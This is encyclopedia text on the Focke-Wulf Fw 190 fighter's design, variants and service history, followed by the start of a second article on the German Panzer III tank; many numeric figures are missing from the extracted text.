Like the Bf 109, the Fw 190 featured a fairly small wing planform with relatively high wing loading. This presents a trade-off in performance. An aircraft with a smaller wing suffers less drag under most flight conditions and therefore flies faster and may have better range. However, it also means the aircraft has a higher stalling speed making it less maneuverable, and also reduces performance in the thinner air at higher altitudes. The wings spanned and had an area of . The wing was designed using the NACA 23015.3 airfoil at the root and the NACA 23009 airfoil at the tip.
Earlier aircraft designs generally featured canopies consisting of small plates of perspex (also known as Plexiglas) in a metal "greenhouse" framework, with the top of the canopy even with the rear fuselage; this was true of the IJNAS Mitsubishi A6M Zero, whose otherwise "all-around view" canopy was still heavily framed. This design considerably limited visibility, especially to the rear. The introduction of vacuum forming led to the creation of the "bubble canopy" which was largely self-supporting, and could be mounted over the cockpit, offering greatly improved all-round visibility. Tank's design for the Fw 190 used a canopy with a frame that ran around the perimeter, with only a short, centerline seam along the top, running rearward from the radio antenna fitting where the three-panel windscreen and the forward edge of the canopy met, just in front of the pilot.
The eventual choice of the BMW 801 14-cylinder radial over the more troublesome BMW 139 also brought with it a BMW-designed cowling "system" which integrated the radiator used to cool the motor oil. An annular, ring-shaped oil cooler core was built into the BMW-provided forward cowl, just behind the fan. The outer portion of the oil cooler's core was in contact with the main cowling's sheet metal. Comprising the BMW-designed forward cowl, in front of the oil cooler was a ring of metal with a C-shaped cross-section, with the outer lip lying just outside the rim of the cowl, and the inner side on the inside of the oil cooler core. Together, the metal ring and cowling formed an S-shaped duct with the oil cooler's core contained between them. Airflow past the gap between the cowl and outer lip of the metal ring produced a vacuum effect that pulled air from the front of the engine forward across the oil cooler core to provide cooling for the 801's motor oil. The rate of cooling airflow over the core could be controlled by moving the metal ring to open or close the gap. The reasons for this complex system were threefold. One was to reduce any extra aerodynamic drag of the oil radiator, in this case largely eliminating it by placing it within the same cowling as the engine. The second was to warm the air before it flowed to the radiator to aid in warming the oil during starting. Finally, by placing the radiator behind the fan, cooling was provided even while the aircraft was parked. The disadvantage to this design was that the radiator was in an extremely vulnerable location, and the metal ring was increasingly armoured as the war progressed.
Variants
First prototypes (BMW 139)
Fw 190 V1(civil registration D-OPZE), powered by a BMW 139 14-cylinder two-row radial engine. D-OPZE first flew on 1 June 1939.
Fw 190 V2 Designated with the alphabetic ID code of FL+OZ (later RM+CB) the V2 first flew on October 31, 1939, and was equipped from the outset with the new spinner and cooling fan. It was armed with one MG 17 machine gun and one synchronized MG 131 machine gun in each wing root.
Fw 190 V3Abandoned
Fw 190 V4Abandoned
Later prototypes (BMW 801)
Fw 190 V5Fitted with the larger, more powerful 14-cylinder two-row BMW 801 radial engine. This engine introduced a pioneering example of an engine management system called the (command-device) designed by BMW, who also designed the 801's forward cowling with its integral oil cooling system: the functioned in effect as an electro-mechanical computer which set mixture, propeller pitch (for the constant-speed propeller), boost, and magneto timing.
Fw 190 V5k ( – small surface) The smaller span initial variant re-designated after the longer span wing was fitted. The V5 first flew in the early spring of 1940. The weight increase with all of the modifications was substantial, about , leading to higher wing loading and a deterioration in handling. Plans were made to create a new wing with more area to address these issues.
Fw 190 V5g ( – large surface) In August 1940 a collision with a ground vehicle damaged the V5 and it was sent back to the factory for major repairs. This was an opportune time to rebuild it with a new wing which was less tapered in plan than the original design, extending the leading and trailing edges outward to increase the area. The new wing had an area of , and now spanned . After conversion, the aircraft was called the V5g for (large surface). Although it was slower than when fitted with the small wing, V5g was much more manoeuvrable and had a faster climb rate. This new wing platform was to be used for all major production versions of the Fw 190.
Fw 190 A
Fw 190 A-0 The pre-production Fw 190 A-0 series was ordered in November 1940, a total of 28 being completed. Because they were built before the new wing design was fully tested and approved, the first nine A-0s retained the original small wings. All were armed with six MG 17 machine guns – four synchronised weapons, two in the forward fuselage and one in each wing root, supplemented by a free-firing MG 17 in each wing, outboard of the propeller disc.
Fw 190 A-1 The Fw 190 A-1 was in production from June 1941. It was powered by the BMW 801 C-1 engine, rated at for take-off. Armament included two fuselage-mounted MG 17s and two wing root-mounted MG 17s (with all four MG 17s synchronized to fire through the propeller arc) and two outboard wing-mounted 20 mm MG FF/Ms.
Fw 190 A-2The introduction of the BMW 801 C-2 resulted in the Fw 190 A-2 model, first introduced in October 1941. The A-2 wing weaponry was updated, with the two wing root-mounted MG 17s being replaced by 20 mm MG 151/20E cannon.
Fw 190 A-3 The Fw 190 A-3 was equipped with the BMW 801 D-2 engine, which increased power to at takeoff. The A-3 retained the same weaponry as the A-2.
Fw 190 A-3/ 1 (/U1) (W.Nr 130 270) was the first 190 to have the engine mount extended by , which would be standardized on the later production A-5 model.
Fw 190 A-3/U2 The A-3/U2 (W.Nr 130386) had RZ 65 rocket launcher racks under the wings with three rockets per wing. There were also a small number of U7 aircraft tested as high-altitude fighters armed with only two 20 mm MG 151 cannon, but with reduced overall weight.
Fw 190 A-3/U3 The A-3/U3 was the first of the (), using an ETC-501 centre-line bomb rack able to carry up to of bombs or, with horizontal stabilising bars, one standard Luftwaffe drop tank. The U3 retained the fuselage-mounted MG 17s and the wing-mounted 20 mm MG 151 cannon, with the outer MG FF being removed.
Fw 190 A-3/U4 The A-3/U4 was a reconnaissance version with two RB 12.5 cameras in the rear fuselage and a EK 16 gun camera or a Robot II miniature camera in the leading edge of the port wing root. Armament was similar to the U3, however, and the ETC 501 was usually fitted with the standardized Luftwaffe drop tank.
Fw 190 A-3a (a= – foreign) In autumn 1942, 72 new aircraft were delivered to Turkey in an effort to keep that country friendly to the Axis powers. These were designated Fw 190 A-3a, designation for export models and delivered between October 1942 and March 1943.
Fw 190 A-4 Introduced in July 1942, the A-4 was equipped with the same engine and basic armament as the A-3.
Fw 190 A-4/ 6 (/R6) Some A-4s were fitted with a pair of under-wing 21 (BR 21) rocket mortars, and were designated Fw 190 A-4/R6.
Fw 190 A-4/U1 The A-4/U1 was outfitted with an ETC 501 rack under the fuselage. All armament except the MG 151 cannon was removed.
Fw 190 A-4/U3 The A-4/U3 was very similar to the U1, and later served as the prototype for the Fw 190 F-1 assault fighter.
Fw 190 A-4/U4 The A-4/U4 was a reconnaissance fighter, with two Rb 12.4 cameras in the rear fuselage and an EK 16 or Robot II gun camera. The U4 was equipped with fuselage-mounted MG 17s and 20 mm MG 151 cannon.
Fw 190 A-4/U7 The A-4/U7 was a high-altitude fighter, easily identified by the compressor air intakes on either side of the cowling. Adolf Galland flew a U7 in the spring of 1943.
Fw 190 A-4/U8 The A-4/U8 was the (, long-range fighter-bomber), adding twin standard Luftwaffe drop tanks, one under each wing, on VTr-Ju 87 racks with duralumin fairings produced by Weserflug, and a centreline bomb rack. The outer wing-mounted 20 mm MG FF/M cannon and the cowling-mounted MG 17 were removed to save weight. The A-4/U8 was the precursor of the Fw 190 G-1.
Fw 190 A-4/R1 The A-4/R1, was fitted with a FuG 16ZY radio set with a Morane "whip" aerial fitted under the port wing. These aircraft, called or Fighter Formation Leaders, could be tracked and directed from the ground via special R/T equipment called Y- (Y-Control). More frequent use of this equipment was made from the A-5 onwards.
Fw 190 A-5 The A-5 was developed after it was determined that the Fw 190 could easily carry more ordnance. The D-2 engine was moved forward another as had been tried out earlier on the service test A-3/U1 aircraft, moving the centre of gravity forward to allow more weight to be carried aft.
Fw 190 A-5/U2 The A-5/U2 was designed as a night and featured anti-reflective fittings and exhaust flame dampers. A centre-line ETC 501 rack typically held a bomb, and wing-mounted racks mounted drop tanks. A EK16 gun camera, as well as landing lights, were fitted to the wing leading edge. The U2 was armed with only two 20 mm MG 151 cannon.
Fw 190 A-5/U3 The A-5/U3 was a Jabo fighter fitted with ETC 501s for drop tanks and bombs; it too featured only two MG 151s for armament.
Fw 190 A-5/U4 The A-5/U4 was a "recon" fighter with two RB 12.5 cameras and all armament of the basic A-5 with the exception of the MG FF cannon.
Fw 190 A-5/U8 The A-5/U8 was another outfitted with SC-250 centreline-mounted bombs, under-wing 300-litre drop tanks and only two MG 151s; it later became the Fw 190 G-2.
Fw 190 A-5/U9 Test installation of the A-7 modifications.
Fw 190 A-5/U12 A special U12 was created for bomber attack, outfitted with the standard MG 17 and 20 mm MG 151 but replacing the outer wing 20 mm MG-FF cannon with two underwing gun pods containing two 20 mm MG 151/20 each, for a total of two machine guns and six cannon.
Fw 190 A-5/U14 Was able to carry a torpedo (Stkz TD+SI White 871).
Fw 190 A-5/R11 The A-5/R11 was a night fighter conversion fitted with FuG 217 (Neptune) radar equipment with arrays of three dipole antenna elements vertically mounted fore and aft of the cockpit and above and below the wings. Flame-dampening boxes were fitted over the exhaust exits. A total of 1,752 A-5s were built from November 1942 to June 1943.
Fw 190 A-6 The A-6 was developed to address shortcomings found in previous "A" models when attacking U.S. heavy bombers. A structurally redesigned and lighter wing was introduced and the normal armament was increased to two MG 17 fuselage machine guns and four 20 mm MG 151/20E wing root and outer wing cannon with larger ammunition boxes.
Fw 190 A-7 The A-7 entered production in November 1943, equipped with the BMW 801 D-2 engine, again producing and two fuselage-mounted MG 131s, replacing the MG 17s.
Fw 190 A-8 The A-8 entered production in February 1944, powered either by the standard BMW 801 D-2 or the 801Q (also known as 801TU). The 801Q/TU, with the "T" signifying a unitized powerplant installation, was a standard 801D with improved, thicker armour on the BMW-designed front annular cowling, which still incorporated the BMW-designed oil cooler, upgraded from on earlier models to . Changes introduced in the Fw 190 A-8 also included the C3-injection emergency boost system to the fighter variant of the Fw 190 A (a similar system with less power had been fitted to some earlier variants of the 190 A), raising power to for 10 minutes. The 10 minute emergency power may be used up to three times per mission with a 10 minute cooldown in "combat power" between each 10 minute use of emergency power.
Fw 190 A-8/R2 The A-8/R2 replaced the outer wing 20 mm cannon with a MK 108 cannon.
Fw 190 A-8/R4 The A-8/R4 featured GM1 nitrous boost to the standard BMW 801 D/Q engine. GM1 (nitrous oxide) injection increased power for short amounts of time, up to 10 minutes at a time. A 20 minute supply was usually carried.
Fw 190 A-8/R8 The A-8/R8 was similar to the A-8/R2, but fitted with heavy armour including canopy and windscreen armour and cockpit armour.
Fw 190 A-9 First built in September 1944, the Fw 190 A-9 was fitted with the new BMW 801S rated at ; the more powerful 801F-1 was still under development, and not yet available.
Fw 190 A-10 Late in the war, the A-10 was fitted with larger wings for better maneuverability at higher altitudes, which could have allowed additional calibre, long-barreled MK 103 cannon to be fitted.
A total of 13,291 Fw 190 A-model aircraft were produced.
A-6, A-7, and A-8 were modified for Sturmböcke bomber-destroyer operations.
High-altitude developments
Tank started looking at ways to address the altitude performance problem early in the program. In 1941, he proposed a number of versions featuring new powerplants, and he suggested using turbochargers in place of superchargers. Three such installations were outlined
Fw 190 V12 (an A-0) would be outfitted with many of the elements which eventually led to the B series.
Fw 190 V13 (W.Nr. 0036) first C-series prototype
Fw 190 V15 (W.Nr. 0036) second C-series prototype
Fw 190 V16 (W.Nr. 0036) third C-series prototype
Fw 190 V18 (W.Nr. 0036) fourth C-series prototype
Fw 190 B-0 With a turbocharged BMW 801
Fw 190 B-1 This aircraft was similar to the B-0, but had slightly different armament. In its initial layout, the B-1 was to be fitted with four MG 17s and two 20 mm MG-FFs. One was fitted with two MG 17s, two 20 mm MG 151s and two 20 mm MG-FFs. After the completion of W.Nr. 811, no further Fw 190 B models were ordered.
Fw 190 C With a turbocharged Daimler-Benz DB 603, the tail of the aircraft had to be lengthened in order to maintain the desired centre of gravity. Four additional prototypes based on the V18/U1 followed: V29, V30, V32 and V33.
Fw 190 D The Fw 190 D (nicknamed Dora; or Long-Nose Dora () was intended as the high-altitude performance version of the A-series.
Fw 190 D-0 The first D-0 prototype was completed in October 1942 with a supercharged Junkers Jumo 213 including a pressurized cockpit and other features making them more suitable for high-altitude work.
Fw 190 D-1 Initial production
Fw 190 D-2 Initial production
Fw 190 D-9 The D-9 series was rarely used against heavy-bomber raids, as the circumstances of the war in late 1944 meant that fighter-versus-fighter combat and ground attack missions took priority. This model was the basis for the follow-on Focke-Wulf Ta 152 aircraft.
Fw 190 D-11 Fitted with the up-rated Jumo 213F series engine similar to the Jumo 213E used in the Ta-152 H series but minus the intercooler. Two MK 108 cannons were installed in the outer wings to complement the 20 mm MG 151s in the inboard positions.
Fw 190 D-12 Similar to the D-11, but featured the MK 108 cannon in a Motorkanone installation firing through the propeller hub.
Fw 190 D-13 The D-13 would be fitted with a 20 mm MG 151/20 motor cannon.
Ground attack versions (BMW 801)
Fw 190 F The Fw 190F configuration was originally tested in a Fw 190 A-0/U4, starting in May 1942, fitted with centre-line and wing-mounted bomb racks.
Fw 190 F-1 Renamed A-4/U3s of which 18 were built
Fw 190 F-2 Renamed A-5/U3s, of which 270 were built according to Focke-Wulf production logs and Ministry of Aviation acceptance reports.
Fw 190 F-3 Developed under the designation Fw 190 A-5/U17, which was outfitted with a centreline mounted ETC 501 bomb rack. The Fw 190 F-3/R1 had two additional ETC 50 bomb racks under each wing. The F-3 could carry a 66-Imp gal (300 liter) drop tank. A total of 432 Fw 190 F-3s were built.
Fw 190 F-4 to F-7 designations used for projects.
Fw 190 F-8 Based on the A-8 Fighter, having a slightly modified injector on the compressor which allowed for increased performance at lower altitudes for several minutes. Armament of the Fw 190 F-8 was two 20 mm MG 151/20 cannon in the wing roots and two MG 131 machine guns above the engine. It was outfitted with an ETC 501 Bomb rack as centerline mount and four ETC 50 bomb racks as underwing mounts.
Fw 190 F-8/U1 long range , fitted with underwing V.Mtt-Schloß shackles to hold two of the Luftwaffe's standardized drop tanks. ETC 503 bomb racks were also fitted, allowing the Fw 190 F-8/U1 to carry one SC 250 bomb under each wing and one SC 250 bomb on the centreline.
Fw 190 F-8/U2 prototype torpedo bomber, fitted with an ETC 503 bomb rack under each wing and a centre-line mounted ETC 504. The U2 was also equipped with the TSA 2 A weapons sighting system that improved the U2's ability to attack seaborne targets with a BT 700.
Fw 190 F-8/U3 heavy torpedo bomber was outfitted with an ETC 502, which allowed it to carry one BT-1400 heavy torpedo (). Owing to the size of the torpedo, the U3's tail gear needed to be lengthened. The U3 also was fitted with the 2,000 PS BMW 801S engine, and the tail from the Ta 152.
Fw 190 F-8/U4 created as a night bomber, was equipped with flame dampers on the exhaust and various electrical systems such as the FuG 101 radio altimeter, the PKS 12 automatic pilot, and the TSA 2 A sighting system. The U4 was fitted with only two MG 151/20 cannon as fixed armament.
Fw 190 F-8/R3 project with two underwing mounted 30mm MK 103 cannon.
Fw 190 F-9 based on the Fw 190 A-9, equipped with a new bulged canopy as fitted to late-build F-8s and A-8s, and four ETC 50 or ETC 70 bomb racks under the wings. According to Ministry of Aviation acceptance reports, 147 F-9s were built in January 1945, and perhaps several hundred more from February to May 1945. (Data for these months is missing and probably lost.)
Fw 190 G The Fw 190 G was built as a long-range attack aircraft (Jagdbomber mit vergrösserter Reichweite – abbreviated ). Following the success of the Fw 190 F as a (close support, or "strike aircraft"), both the Luftwaffe and Focke-Wulf began investigating ways of extending the range of the Fw 190 F. Approximately 1,300 Fw 190 Gs of all variants were new built.
Fw 190 G-1 The G-1 was renamed from A-4/U8 s. Initial testing found that if all but two wing root mounted 20 mm MG 151 cannons (with reduced ammunition load) were removed, the Fw 190 G-1 (as it was now called) could carry a or bomb on the centreline and up to a bomb under each wing.
Fw 190 G-2 The G-2 was renamed from Fw 190 A-5/U8 aircraft, similar to the G-1; the underwing drop tank racks were replaced with the much simpler fittings, to allow for a number of underwing configurations.
Fw 190 G-3 The G-3 was based on A-6 with all but the two wing root mounted MG 151 cannons removed. The new V.Fw. Trg bombracks, however, allowed the G-3 to simultaneously carry fuel tanks and bomb loads
Fw 190 G-3/R1 The G-3/R1 replaced the V.Fw. Trg racks with a pair of WB 151/20 conformal cannon pods; each mounting a pair of Mauser MG 151/20 autocannon, giving the G-3/R1 – with its existing pair of wing-root mounted, synchronized MG 151/20 autocannon, a total of six such ordnance pieces.
Fw 190 G-3/R5 The G-3/R5 was similar to the R1, but the V.Fw. Trg racks were removed, and two ETC 50 racks per wing were added.
Fw 190 G-8 The G-8 was based on the Fw 190 A-8, using the same "bubble" canopy as the F-8 and fitted with underwing ETC 503 racks that could carry either bombs or drop tanks.
Fw 190 G-8/R4 The G-8/R4 kit was a planned refit for the GM 1 engine boost system, but never made it into production.
Fw 190 G-8/R5 The G-8/R5 kit replaced the ETC 503 racks with two ETC 50 or 71 racks.
Trainer versions
Fw 190 A-5/U1 Several old Fw 190 A-5s were converted by replacing the MW 50 tank with a second cockpit. The canopy was modified, replaced with a new three-section unit that opened to the side. The rear portion of the fuselage was closed off with sheet metal.
Fw 190 A-8/U1 A similar conversion to the A-5/U1.
Fw 190 S-5 A-5/U1 trainers re-designated.
Fw 190 S-8 A-8/U1 trainers re-designated. An estimated 58 Fw 190 S-5 and S-8 models were converted or built.
Combat history
The Fw 190 participated on every major combat front where the Luftwaffe operated after 1941, and did so with success in a variety of roles. The Fw 190 first tasted combat on the Western Front in August 1941, where it proved to be every bit the Spitfire's equal. The Spitfire's main advantage over the Fw 190, and the Bf 109 as well, was its superior turn radius. Beyond that, the Fw 190 outperformed the Spitfire Mk. V in most areas, such as roll rate, speed, acceleration, and dive performance. The addition of the Fw 190 to the Jagdwaffe allowed the Germans to fight off RAF attacks and achieve local air superiority over German skies, until the summer of 1942 when the improved Spitfire Mk. IX was introduced. In June 1942, Oberleutnant Armin Faber of JG 2 landed his Fw 190 A-3 at a British airfield, allowing the RAF to test the Mk. IX against the 190 and adjust accordingly.
Production
A Focke-Wulf plant east of Marienburg was bombed by the Eighth Air Force on 9 October 1944. In addition, one of the most important sub-contractors for the radial-engined Fw 190s was AGO Flugzeugwerke, which from 1941 through to the end of the war produced enough Fw 190s to earn it major attention from the USAAF, with the AGO plant in Oschersleben being attacked at least five times during the war from 1943 onwards.
Surviving aircraft and modern replicas
Some 28 original Fw 190s are in museums or in the hands of private collectors around the world.
In 1997 a German company, Flug Werk GmbH, began manufacturing new Fw 190 models as reproductions. By 2012, 20 had been produced, most flyable, a few as static display models, with airworthy examples usually powered by Chinese-manufactured Shvetsov ASh-82 twin-row, 14-cylinder radial powerplants, which have a displacement of 41.2 litres, close to the BMW 801's 41.8 litres, with the same engine cylinder arrangement and number of cylinders.
The nearly intact wreck of an Fw 190 A-5/U3 ( 151 227) that had crashed in a marsh in a forest near Leningrad, Soviet Union, 1943 was located in 1989. After restoration in the US, the Fw 190 flew again (with the original BMW 801 powerplant) on 1 December 2010. Following the successful test flight, the aircraft was then trucked up to the Flying Heritage & Combat Armor Museum in Everett, Washington, where it was reassembled in April 2011 and returned to airworthy condition.
At least five surviving Fw 190A radial-engined aircraft are known to have been assigned to the Luftwaffe's JG 5 wing in Herdla, Norway. More German fighter aircraft on display in museums in the 21st century have originated from this unit than from any other Axis Powers' military aviation unit of World War II.
The Turkish Air Force retired all of its Fw 190A-3 fleet at the end of 1947 mostly because of a lack of spare parts. It is rumored that American-Turkish bilateral agreements required retiring and scrapping of all German-origin aircraft, although that requirement did not exist for any other country. According to the Hürriyet Daily News, all of the retired Fw 190s were saved from scrapping by wrapping them with protective cloths and burying them in the soil near the Aviation Supply and Maintenance Center at Kayseri. All attempts to locate and recover the aircraft have been unsuccessful, which suggests the story is probably a hoax or myth.
Operators
Czechoslovakian Air Force (Postwar)
French Air Force – The French Air Force ordered 64 aircraft post-war from the SNCAC aircraft company. The Fw 190 A-5/A-6 model that was chosen carried the designation NC 900. The aircraft were used operationally for a short period and withdrawn due to problems with the BMW 801 engine.
French Navy (Postwar)
Luftwaffe
Royal Hungarian Air Force received a total of 72 Fw 190F-8s starting in November 1944. They were operated by the 102. , later 102. (102nd Fighter-Bomber Squadron, later Wing) engaging in close-support missions on the Eastern Front in 1944–45. The planes were nicknamed "Fóka" (Sea Lion), a wordplay on the German name "Focke".
The Japanese Army Air Force received one Fw 190A-5 for evaluation purposes.
Spanish Air Force – The Spanish Air Force operated Fw 190A-2,3,4 among Fw 190 A-8 and Gs with volunteers of (15ª , JG 51 "Mölders" VIII. Fliegerkorps, belonged in LuftFlotte 4) on the Eastern Front (from Orel during September 1942 to Bobruisk, during July 1943) and Defense of the Reich over Germany.
Royal Romanian Air Force – Following the 23 August 1944 coup by King Michael, which resulted in Romania leaving the Axis powers, Romania captured 22 Luftwaffe Fw 190 As and Fs. They were not used operationally. Nine serviceable Fw 190s were later confiscated by the Soviet Union.
Turkish Air Force — Beginning in mid-1942, received 72 examples of the Fw 190 A-3a (export model of A-3, a stood for —foreign) from Germany to modernize their air force. These aircraft were basically Fw 190 A-3s, with BMW 801 D-2 engines and FuG VIIa radios and an armament fit of four MG 17s, with the option of installing two MG-FF/M cannon in the outer wing positions. The export order was completed between October 1942 and March 1943. The Fw 190 remained in Turkish service until late 1947 when they were retired due to a lack of spare parts.
Royal Air Force – No. 1426 (Enemy Aircraft) Flight RAF evaluated at least one captured Fw 190A-3.
United States Army Air Forces and United States Navy – A small number of captured Fw 190As fell into American hands in Europe and North Africa, with one captured A-5 model, WkNr. 150 051, being flown for a time at the Patuxent Naval Air Test Center by the U.S. Navy during the war years.
SFR Yugoslav Air Force – Postwar, one aircraft.
Specifications (Fw 190 A-8)
See also
References
Notes
Citations
Bibliography
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External links
US evaluation of captured Fw 190 A-4 (PDF file)
The Flying Heritage Collection's Fw 190A fires up its BMW 801 engine
The Flying Heritage Collection's Fw 190D fires up its Jumo 213 engine
Modeller's Guide to Focke-Wulf Fw 190 Variants, Radial Engine Versions Part I
Modeller's Guide to Focke-Wulf Fw 190 Variants, Radial Engine Versions Part II
Fw 190
1930s German fighter aircraft
World War II fighter aircraft of Germany
Single-engined tractor aircraft
Low-wing aircraft
Aircraft first flown in 1939 | [
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241215 | https://en.wikipedia.org/wiki/Panzer%20III | Panzer III | The Panzerkampfwagen III, commonly known as the Panzer III, was a medium tank developed in the 1930s by Germany, and was used extensively in World War II. The official German ordnance designation was Sd.Kfz. 141. It was intended to fight other armoured fighting vehicles and serve alongside and support the similar Panzer IV, which was originally designed for infantry support. However, as the Germans faced the formidable T-34, more powerful anti-tank guns were needed, and since the Panzer IV had more development potential with a larger turret ring, it was redesigned to mount the long-barrelled 7.5 cm KwK 40 gun. The Panzer III effectively swapped roles with the Panzer IV, as from 1942 the last version of Panzer III mounted the 7.5 cm KwK 37 L/24 that was better suited for infantry support. Production of the Panzer III ceased in 1943. Nevertheless, the Panzer III's capable chassis provided hulls for the Sturmgeschütz III assault gun until the end of the war.
Development history
Background
At the time, German (non-light) tanks were expected to carry out one of two primary tasks when assisting infantry in breakthroughs, exploiting gaps in the enemy lines where opposition had been removed, moving through and attacking the enemy's unprotected lines of communication and the rear areas. The first task was direct combat against other tanks and other armoured vehicles, requiring the tank to fire armour piercing (AP) shells.
On January 11, 1934, following specifications laid down by Heinz Guderian, the Army Weapons Department drew up plans for a medium tank with a maximum weight of and a top speed of . It was intended as the main tank of the German Panzer divisions, capable of engaging and destroying opposing tank forces, and was to be paired with the Panzer IV, which was to fulfill the second use: dealing with anti-tank guns and infantry strong points, such as machine-gun nests, firing high-explosive shells at such soft targets. Such supportive tanks designed to operate with friendly infantry against the enemy generally were heavier and carried more armour.
The direct infantry-support role was to be provided by the turret-less Sturmgeschütz assault gun, which mounted a short-barrelled gun on a Panzer III chassis.
Development
Daimler-Benz, Krupp, MAN, and Rheinmetall all produced prototypes. Testing of these took place in 1936 and 1937, leading to the Daimler-Benz design being chosen for production. The first model of the Panzer III, the Ausführung A. (Ausf. A), came off the assembly line in May 1937; ten, two of which were unarmed, were produced in that year. Mass production of the Ausf. F version began in 1939. Between 1937 and 1940, attempts were made to standardize parts between Krupp's Panzer IV and Daimler-Benz's Panzer III.
Much of the early development work on the Panzer III was a quest for a suitable suspension. Several varieties of leaf-spring suspensions were tried on Ausf. A through Ausf. D, usually using eight relatively small-diameter road wheels before the torsion-bar suspension of the Ausf. E was standardized, using the six road wheel design that became standard. The Panzer III, along with the Soviet KV heavy tank, was one of the early tanks to use this suspension design first seen on the Stridsvagn L-60 a few years earlier.
A distinct feature of the Panzer III, influenced by the British Vickers Medium Mark I tank (1924), was the three-man turret. This meant that the commander was not distracted with another role in the tank (e.g. as gunner or loader) and could fully concentrate on maintaining awareness of the situation and directing the tank. Most tanks of the time did not have this capability, providing the Panzer III with a combat advantage versus such tanks. For example, the French Somua S-35's turret was manned only by the commander, and the Soviet T-34 originally had a two-man turret crew. Unlike the Panzer IV, the Panzer III had no turret basket, merely a foot rest platform for the gunner.
The Panzer III was intended as the primary battle tank of the German forces. However, when it initially met the KV-1 heavy tanks and T-34 medium tanks it proved to be inferior in both armour and gun power. To meet the growing need to counter these tanks, the Panzer III was up-gunned with a longer, more powerful gun and received more armour but still was at disadvantage compared with the Soviet tank designs. As a result, production of self-propelled anti-tank guns, as well as the up-gunning of the Panzer IV was initiated.
In 1942, the final version of the Panzer III, the Ausf. N, was created with a KwK 37 L/24 cannon, the same short-barreled low-velocity gun used for the initial models of the Panzer IV and designed for anti-infantry and close-support work. For defensive purposes, the Ausf. N was equipped with rounds of HEAT ammunition that could penetrate of armour depending on the round's variant, but these were strictly used for self-defence.
Armour
The Panzer III Ausf. A through C had of rolled homogeneous armour on all sides with on the top and on the bottom. This was quickly determined to be insufficient, and was upgraded to on the front, sides and rear in the Ausf. D, E, F, and G models, with the H model having a second layer of face-hardened steel applied to the front and rear hull. The Ausf. J model had a solid plate on the front and rear, while the Ausf. J¹, L, and M models had an additional layer of offset homogeneous steel plate on the front hull and turret, with the M model having an additional Schürzen spaced armour on the hull sides, and on the turret sides and rear. This additional frontal armor gave the Panzer III frontal protection from many light and medium Allied and Soviet anti-tank guns at all but close ranges. However, the sides were still vulnerable to many enemy weapons, including anti-tank rifles at close ranges.
Armament
The Panzer III was intended to fight other tanks; in the initial design stage a gun was specified. However, the infantry at the time were being equipped with the PaK 36, and it was thought that, in the interest of standardization, the tanks should carry the same armament. As a compromise, the turret ring was made large enough to accommodate a gun should a future upgrade be required. This single decision later assured the Panzer III a prolonged life in the German Army.
The Ausf. A to early Ausf. G were equipped with a 3.7 cm KwK 36 L/45, which proved adequate during the campaigns of 1939 and 1940. In response to increasingly better armed and armored opponents, the later Ausf. F to Ausf. J were upgraded with the 5 cm KwK 38 L/42, and the Ausf. J¹ to M with the longer 5 cm KwK 39 L/60 gun.
By 1942, the Panzer IV was becoming Germany's main medium tank because of its better upgrade potential. The Panzer III remained in production as a close support vehicle. The Ausf. N model mounted a low-velocity 7.5 cm KwK 37 L/24 gun - these guns had originally been fitted to older Panzer IV Ausf A to F1 models and had been placed in storage when those tanks had also been up armed to longer versions of the 75 mm gun.
All early models up to and including the Ausf. G had two MG 34 machine guns mounted coaxially with the 37 mm main gun and a similar weapon in a hull mount. Models from the Ausf. F and later, upgraded or built with a 5 or 7.5 cm main gun, had a single coaxial MG 34 and the hull MG34.
A single experimental Ausf. L was fitted with a 75/55mm tapered bore Waffe 0725 cannon. The vehicle was designated Panzer III Ausf L mit Waffe 0725.
Mobility
The Panzer III Ausf. A through D were powered by a , 12-cylinder Maybach HL108 TR engine, giving a top speed of . All later models were powered by the , 12-cylinder Maybach HL 120 TRM engine. Regulated top speed varied, depending on the transmission and weight, but was around .
The fuel capacity was in Ausf A-D, in Ausf. E-G and in all later models. Road range on the main tank was in Ausf. A-J; the heavier later models had a reduced range of . Cross-country range was in all versions.
Combat history
The Panzer III was used in the German campaigns in Poland, in France, in the Soviet Union, and in North Africa. Many were still in combat service against Western Allied forces in 1944-1945: at Anzio in Italy, in Normandy, and in Operation Market Garden in the Netherlands. A sizeable number of Panzer IIIs also remained as armored reserves in German-occupied Norway and some saw action, alongside Panzer IVs, in the Lapland War against Finland in the fall of 1944.
In both the Polish and French campaigns, the Panzer III formed a small part of the German armoured forces. Only a few hundred Panzer III Ausf. As to Fs were available in these two campaigns, with most being armed with the main gun. They were the best medium tank available to the German military at the period of time.
Aside from use in Europe, the Panzer III also saw service in North Africa with Erwin Rommel's renowned Afrika Korps. Most of the Panzer IIIs with the Afrika Korps were equipped with the KwK 38 L/42 50mm (short-barrelled) tank gun, with a small number possessing the older 37mm main gun of earlier variants. The Panzer IIIs of Rommel's troops were capable of fighting against British Crusader cruiser and US-supplied M3 Stuart light tanks with positive outcomes, although they did less effectively against Matilda II infantry tanks and American M3 Lee/Grant tanks fielded by the British starting from early 1942. In particular, the 75mm hull-mounted gun of the Lee/Grant tank could easily destroy a Panzer III far beyond the latter's own effective firing range, as is true for the US M4 Sherman, which also saw service with British forces alongside Lees/Grants in North Africa beginning in the middle of 1942.
Around the time of the beginning of Operation Barbarossa in the summer of 1941, the Panzer III was, numerically, the most important German tank on the frontline. At this time period, the majority of the available tanks (including re-armed Ausf. Es and Fs, plus new Ausf. G and H models) for the invading German military had the KwK 38 L/42 50mm cannon. Initially, the most numerous Soviet tanks the Germans encountered at the start of the invasion were older T-26 light infantry and BT class of cruiser tanks. This fact, together with superior German tactical and strategic skills in armoured clashes, sufficient quality crew training, and the generally-good ergonomics of the Panzer III, all contributed to a favourable kill-loss ratio of approximately 6:1 for German tanks of all types in 1941. However, the Panzer IIIs were significantly outclassed by the more advanced Soviet T-34 medium and KV series of heavy tanks, the former of which was gradually encountered in greater numbers by the German forces as the invasion progressed.
